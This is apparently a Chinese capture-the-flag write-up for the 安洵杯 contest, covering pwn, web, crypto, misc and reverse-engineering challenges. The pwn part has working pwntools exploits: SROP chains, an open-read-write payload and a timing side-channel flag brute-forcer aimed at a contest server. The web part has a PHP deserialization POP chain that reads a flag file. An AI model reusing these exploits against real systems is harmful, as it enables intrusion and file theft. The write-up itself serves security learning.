安洵杯wp-LVVLRkMt

First Post:

Last Update:

安洵杯wp-LVVLRkMt

Pwn

side_channel , initiate!

思路OR缺W,打一个侧信道逐位爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *
context(arch='amd64',os='linux')#,log_level='debug')
import time
import string

fstr='-0123456789abcdefghijklmnopqrstuvwxyz'

mov_rax_f_ret=0x401193
syscall=0x40118A
bss=0x404060
saddr=0x405000
leave_ret=0x401446
start=0x404000

sig=SigreturnFrame()
sig.rax=0xa
sig.rdi=start
sig.rsi=0x2000
sig.rdx=0x7
sig.rsp=bss+0x200
sig.rip=syscall

def pwn(io,index,ch):
shellcode=b'\x90'*0x20
shellcode+=asm(shellcraft.open('flag'))
shellcode+=asm(shellcraft.read(3,'rsp',0x50))
shellcode+=asm('''
loop:
cmp byte ptr[rsi+{0}],{1}
jz loop
ret
'''.format(index,ch))
sig2=SigreturnFrame()
sig2.rax=0x0
sig2.rdi=0x0
sig2.rsi=saddr
sig2.rdx=len(shellcode)
sig2.rsp=bss+0x400
sig2.rip=syscall
io.recvuntil(b'easyhack\n')
payload=b'flag'.ljust(8,b'\x00')+flat(mov_rax_f_ret,syscall)+bytes(sig)
payload=payload.ljust(0x200,b'\x00')
payload+=flat(0,mov_rax_f_ret,syscall)+bytes(sig2)
payload=payload.ljust(0x400,b'\x00')
payload+=flat(0,saddr)
#gdb.attach(io)
io.sendline(payload)
io.recvuntil(b'Do u know what is SUID?\n')
payload=flat(b'a'*0x2a,bss,leave_ret)
io.send(payload)
io.send(shellcode)
#io.interactive()

if __name__ == '__main__':
flag=''
for i in range(0x30):
for ch in fstr:
#io=process('./ax_shc')
io=remote('47.108.206.43',41376)
print('testing ch {}'.format(ch))
pwn(io,i,ord(ch))
start=time.time()
try:
io.recv(timeout=5)
except:
pass
end=time.time()
io.close()
if end-start>4.5:
flag+=ch
print(' find flag: ',flag)
break

Seccomp

SROP+ORW解决

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *
context(log_level='debug',arch='amd64',os='linux')

mov_rax_f_ret=0x401193
flagaddr=0x405000
syscall=0x40118A
bss=0x404060
saddr=0x405000
leave_ret=0x40143C
start=0x404000

#io=remote('
io=process('./ax_seccomp')

sig=SigreturnFrame()
sig.rax=0x2
sig.rdi=bss
sig.rsi=0
sig.rsp=bss+0x200
sig.rip=syscall

sig2=SigreturnFrame()
sig2.rax=0
sig2.rdi=3
sig2.rsi=saddr
sig2.rdx=0x50
sig2.rsp=bss+0x400
sig2.rip=syscall

sig3=SigreturnFrame()
sig3.rax=1
sig3.rdi=1
sig3.rsi=saddr
sig3.rdx=0x50
sig3.rsp=bss+0x600
sig3.rip=syscall

payload=b'flag'.ljust(8,b'\x00')+flat(mov_rax_f_ret,syscall)+bytes(sig)
payload=payload.ljust(0x200,b'\x00')
payload+=flat(0,mov_rax_f_ret,syscall)+bytes(sig2)
payload=payload.ljust(0x400,b'\x00')
payload+=flat(0,mov_rax_f_ret,syscall)+bytes(sig3)
io.recvuntil(b'easyhack\n')

io.sendline(payload)

io.recvuntil(b'Do u know what is SUID?\n')
payload=b'a'*0x2a+flat(bss,leave_ret)
#gdb.attach(io)
io.send(payload)

io.interactive()

web

what’s my name

本地搭建echo $miao发现lambda自增,那第二个if完全可控

easy_unserialize

__wakeup->__unset->__isset->__toString->__invoke

empty触发isset

preg_match触发toString

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
<?php
error_reporting(0);
class Good{
public $g1;
private $gg2;

public function __construct($ggg3)
{
$this->gg2 = $ggg3;
}

public function __isset($arg1)
{
if(!preg_match("/a-zA-Z0-9~-=!\^\+\(\)/",$this->gg2))
{
if ($this->gg2)
{
$this->g1->g1=666;
}
}else{
die("No");
}
}
}
class Luck{
public $l1;
public $ll2;
private $md5;
public $lll3;
public function __construct($a)
{
$this->md5 = $a;
}
public function __toString()
{
$new = $this->l1;
return $new();
}

public function __get($arg1)
{
$this->ll2->ll2('b2');
}

public function __unset($arg1)
{
if(md5(md5($this->md5)) == 666)
{
if(empty($this->lll3->lll3)){
echo "There is noting";
}
}
}
}

class To{
public $t1;
public $tt2;
public $arg1;
public function __call($arg1,$arg2)
{
if(urldecode($this->arg1)===base64_decode($this->arg1))
{
echo $this->t1;
}
}
public function __set($arg1,$arg2)
{
if($this->tt2->tt2)
{
echo "what are you doing?";
}
}
}
class You{
public $y1;
public function __wakeup()
{
unset($this->y1->y1);
}
}
class Flag{
public function __invoke()
{
echo "May be you can get what you want here";
array_walk($this, function ($one, $two) {
$three = new $two($one);
foreach($three as $tmp){
echo ($tmp.'<br>');
}
});
}
}

$flag = new Flag();
//$flag->DirectoryIterator = '/';
$flag->SplFileObject = '/FfffLlllLaAaaggGgGg';
$luck = new Luck('ukfc');
$luck->l1 = $flag;
$good = new Good($luck);
$luck2 = new Luck(213);
$luck2->lll3 = $good;
$you = new You();
$you->y1 = $luck2;
//$a = serialize($you);
$a = urlencode(serialize($you));
echo $a;
echo '
';
unserialize($a);

Crypto

010101

  • nc得到三个参数npc
  • 然后看逻辑就是p替换了两个bit输出来了,爆破就行了【这个地方比赛环境当时有点问题,我卡了有半个小时,脚本没动,数据不对】
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from Crypto.Util.number import long_to_bytes
from gmpy2 import invert

n =
s = '1101100101111101001110011011001110011101111100000010100010100010110110100000001001110011111...'
c =
e = 0x10001
s1 = s[:1024]
s2 = s[1024:]
print(s1)
print(s2)
for i in range(len(s1)):
if s1[i] == '0':
for j in range(len(s2)):
if s2[j] == '1':
temp = s1[:i] + '1' + s1[i+1:] + s2[:j] + '0' + s2[j+1:]
p = int(temp, 2)
if n % p == 0:
q = n //p
phi = (p-1) * (q-1)
d = invert(e,phi)
m = pow(c,d,n)
print(long_to_bytes(m))

Misc

签到

Nahida

  • 逆转搞出图片
1
2
3
4
5
6
7
# 打开输入文件和输出文件
with open('Nahida!', 'rb') as input_file, open('output.jpg', 'wb') as output_file:
# 读取输入文件的所有字节
data = input_file.read()
for i in data[::-1]:

output_file.write(int.to_bytes(((i >> 4) | (i << 4))&0xff) )

然后,梭

疯狂的麦克斯

  • docx变zip,后面文字rot22,加上提示base64
  • 直接把列表所有元素rot22然后base64,再放进去爆破
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
s = 
import base64
result = []


def sort_by_numbers(item):
return int(item[0])

def rot22_encrypt(text):
encrypted_text = ""
for char in text:
if char.isalpha():
ascii_offset = 65 if char.isupper() else 97
encrypted_char = chr((ord(char) - ascii_offset + 22) % 26 + ascii_offset)
encrypted_text += encrypted_char
else:
encrypted_text += char
return encrypted_text


# 打印结果
for i in s:
m = str(base64.b64encode(rot22_encrypt(i).encode()))
print(m[2:-1])

misc-dacong_no_windows

使用Imdisk工具将dacong.raw在电脑上挂载,并使用diskgenius的恢复功能恢复出挂载映像中的文件

flag有提示,分为三段,先找的flag2和flag3

得出的文件中flag2是个压缩包。

里面一句话

Once upon a time there were three girls, one with white hair, one with black hair, and one with green hair. In a cold winter, Xiao Bai and Xiao Hei hid Xiao Lu’s favorite green onions. Looking at the heavy snow outside the window, can you find where the green onions are?

解出来_tHE_Dddd

flag3是U2FsdGVkX18M+E34cKJlmTU3uo1lHqjUQhKPTBGJiMjg4RWX6saTjOJmLU8653

base64之后发现有Salted__字样,aes,密码在注册表里

d@@Coong_LiiKEE FOr3NsIc

解出来是dAc0Ng_SIst3Rs????}

flag1在恢复出的图形类里

RX-sstv结合音频39(初音未来懂得都懂)

图片里面flag{Ar3_Th3Y

合起来flag{Ar3_Th3Y_tHE_DddddAc0Ng_SIst3Rs????}

RE

mobilego

  • so的check看了一会比较难崩,但是看flag的密文形式很像简单位置替换
  • 所以直接输编码表,jeb动调然后得到替换表
  • 解密就行

flag密文的话有string.cmp,直接追踪资源就行

1
2
3
4
5
6
ori = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ab'
key = 'V8L3ObJT4PK2MYZFQBSHUCXWI0AGa51D679NER'
v = '49021}5f919038b440139g74b7Dc88330e5d{6'
for i in ori:
print(v[key.index(i)],end='')
# D0g3{4c3b5903d11461f94478b7302980e958}

感觉有点点简单

  • 文件sys挺吓人,实际就一个改了的RC4和base64,都不需要运行
  • base改了爆破就行了,逆还得动脑子
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#include <bits/stdc++.h>
using namespace std;

int encode(char *a1, char *a2, int len)
{
int v4; // [rsp+0h] [rbp-88h]
int v5; // [rsp+4h] [rbp-84h]
char table[80]; // [rsp+10h] [rbp-78h] BYREF

strcpy(table, "4KBbSzwWClkZ2gsr1qA+Qu0FtxOm6/iVcJHPY9GNp7EaRoDf8UvIjnL5MydTX3eh");
v4 = 0;
v5 = 0;
while ( v4 < len )
{
a1[v5] = table[a2[v4] & 0x3F];
a1[v5 + 1] = table[(4 * (a2[v4 + 1] & 0xF)) | ((a2[v4] & 0xC0) >> 6)];
a1[v5 + 2] = table[(16 * (a2[v4 + 2] & 3)) | ((a2[v4 + 1] & 0xF0) >> 4)];
a1[v5 + 3] = table[(a2[v4 + 2] & 0xFC) >> 2];
v4 += 3;
v5 += 4;
}
if ( len % 3 == 1 )
{
a1[v5 - 2] = '=';
a1[v5 - 1] = '=';
}
else if ( len % 3 == 2 )
{
a1[v5 - 1] = '=';
}
string temp = "4Uw=";
if (temp[0] == a1[0] && temp[1] == a1[1] && temp[2] == a1[2] && temp[3] == a1[3]){
return 1;
}
return 0;
}
int main()
{
string t = "4KBbSzwWClkZ2gsr1qA+Qu0FtxOm6/iVcJHPY9GNp7EaRoDf8UvIjnL5MydTX3eh";
char a1[100];
char a2[2] = {};
for(int i = 0; i < 126; i++){
for(int j = 0; j < 126; j++){
for(int k = 0;k < 126; k++){
a2[0] = i;
a2[1] = j;
if(encode(a1,a2,2) == 1){
cout <<(int)a2[0] <<"," <<(int)a2[1]<<",";
return 0;
}
}
}
}

}
//92,33,123,51,81,51,56,40,58,43,48,64,22,44,51,37,54,4,56,70,81,60,37,74,19,51,57,59,105,39,77,41,51,20,51,70,48,49,50,64,108
  • RC4 64改写
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#include <bits/stdc++.h>
typedef unsigned longULONG;
using namespace std;
/*初始化函数*/
void rc4_init(unsigned char*s, unsigned char*key, unsigned long Len)
{
int i = 0, j = 0;
char k[64] = { 0 };
unsigned char tmp = 0;
for (i = 0; i<64; i++)
{
s[i] = i;
k[i] = key[i%Len];
}
for (i = 0; i<64; i++)
{
j = (j + s[i] + k[i]) % 64;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
}
}

/*加解密*/
void rc4_crypt(unsigned char*s, unsigned char*Data, unsigned long Len)
{
int i = 0, j = 0, t = 0;
unsigned long k = 0;
unsigned char tmp;
for (k = 0; k<Len; k++)
{
i = (i + 1) % 64;
j = (j + s[i]) % 64;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
Data[k] ^= (i ^ j) & s[(((i ^ j) + s[i] + s[j]) % 64)];
}
}

int main()
{
unsigned char s[64] = { 0 };
char key[64] = {0x74, 0x68, 0x65, 0x5F, 0x6B, 0x65, 0x79, 0x5F};
char pData[512] = {92,33,123,51,81,51,56,40,58,43,48,64,22,44,51,37,54,4,56,70,81,60,37,74,19,51,57,59,105,39,77,41,51,20,51,70,48,49,50,64,108};
unsigned long len = strlen(pData);
rc4_init(s, (unsigned char*)key, strlen(key));
rc4_crypt(s, (unsigned char*)pData, 90);
for(int i = 0; i < len; i++){
printf("%c",pData[i]);
}
return 0;
}

//D0g3{608292C4-15400BA4-B3299A5C-704C292D}

PE

  • 有点可惜,但也正常,太久不看的人是这样的
  • 动调call恢复function可以进入主逻辑,加密过程也很简单
  • 就剩一张当时截的图,v5 < 0,8个字节一组进行处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def decrypt(value, key):
assert key & 1
key |= 1 << 64
for i in range(64):
if value & 1:
value = (value ^ key) >> 1
else:
value = value >> 1
return value

out = bytes.fromhex('4db87629f5a99e595556b1c42f212c30b3797817a8edf7dbe153f0dbe903515e09c100dff096fcc1b5e6629501000000')
flag = b''
for i in range(0, len(out), 8):
v = int.from_bytes(out[i: i + 8], 'little')
flag += decrypt(v, 0x54aa4a9).to_bytes(8, 'little')

print(flag)

牢大想你了

  • 混淆的挺好,下次别混淆了
  • manager/data定位核心dll,dotpeek反编译
  • 找到Tea的密文和密钥,直接解密【花里胡哨的没用代码一大坨】

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
void decrypt(unsigned int v[], unsigned int k[]) {
unsigned int v0 = v[0];
unsigned int v1 = v[1];
unsigned int delta = 2654435769;
unsigned int sum1 = delta * 32;
int i;

for (i = 0; i < 32; i++) {
v1 -= ((v0 << 4) + k[2]) ^ (v0 + sum1) ^ ((v0 >> 5) + k[3]);
v0 -= ((v1 << 4) + k[0]) ^ (v1 + sum1) ^ ((v1 >> 5) + k[1]);
sum1 -= delta;
}

for (i = 0; i < 4; i++) {
printf("%c", (v0 >> (8 * i)) & 0xff);
}

for (i = 0; i < 4; i++) {
printf("%c", (v1 >> (8 * i)) & 0xff);
}
}

int main() {
unsigned int data[] = {3363017039, 1247970816, 549943836, 445086378, 3606751618, 1624361316, 3112717362, 705210466,
3343515702, 2402214294, 4010321577, 2743404694};
unsigned int key[] = {286331153, 286331153, 286331153, 286331153};
int i;

for (i = 0; i < sizeof(data) / sizeof(unsigned int); i += 2) {
decrypt(&data[i], key);
}

return 0;
}

你见过蓝色的小鲸鱼

  • 题目提示了blowfish加密,那么第一步要做的就是确认代码是否是一个正常的加密
  • 然后密钥UzBtZTBuZV9EMGcz
  • 密文dump出来:11A51F049550E2508F17E16CF1632B47
  • 在线网站直接解密

D0g3{UzBtZTBuZV9EMGczQHRoZWJsdWVmMXNo}